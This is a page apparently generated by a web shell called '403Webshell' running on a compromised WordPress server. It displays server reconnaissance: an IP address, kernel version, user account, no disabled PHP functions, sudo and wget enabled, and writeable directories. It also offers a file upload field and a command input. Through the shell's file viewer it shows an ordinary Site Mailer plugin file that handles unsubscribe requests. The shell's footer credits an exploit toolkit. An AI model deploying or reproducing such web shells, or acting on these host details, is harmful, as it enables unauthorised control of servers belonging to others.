403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/site-mailer/modules/suppressions/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/site-mailer/modules/suppressions/rest/unsubscribe.php
<?php

namespace SiteMailer\Modules\Suppressions\Rest;

use SiteMailer\Classes\Database\Exceptions\Missing_Table_Exception;
use SiteMailer\Modules\Settings\Module as Settings;
use SiteMailer\Modules\Suppressions\Classes\Route_Base;
use SiteMailer\Modules\Suppressions\Database\Suppressions_Entry;
use SiteMailer\Modules\Suppressions\Database\Suppressions_Table;
use WP_REST_Request;
use WP_REST_Response;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Unsubscribe extends Route_Base {
	protected $auth = false;
	public string $path = 'unsubscribe/(?P<email>[a-zA-Z0-9=_-]+)';

	public function get_methods(): array {
		return [ 'GET', 'POST' ];
	}

	public function get_name(): string {
		return 'unsubscribe/(?P<email>[a-zA-Z0-9=_-]+)';
	}

	/**
	 * Empty GET route for mail services
	 * @return WP_REST_Response
	 */
	public function GET(): WP_REST_Response {
		return $this->respond_success_json();
	}

	/**
	 * Add user to suppressions list
	 *
	 * @param WP_REST_Request $request
	 *
	 * @return WP_REST_Response
	 * @throws Missing_Table_Exception
	 */
	public function POST( WP_REST_Request $request ): WP_REST_Response {
		if ( function_exists( 'openssl_encrypt' ) ) {
			$params = $request->get_url_params();

			$data = Settings::get_unsubscribe_encryption_data();
			$email = base64_decode( $params['email'] );
			$decoded_email = openssl_decrypt( $email, $data['cipher'], $data['key'], 0, base64_decode( $data['iv'] ) );
			if ( filter_var( $decoded_email, FILTER_VALIDATE_EMAIL ) ) {
				$new_suppression = new Suppressions_Entry([
					'data' => [
						Suppressions_Table::EMAIL => $decoded_email,
						Suppressions_Table::REASON => 'unsubscribed',
					],
				]);
				$new_suppression->create();
			}
		} else {
			Logger::error( 'the openssl extension is not installed in the environment' );
		}
		return $this->respond_success_json();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit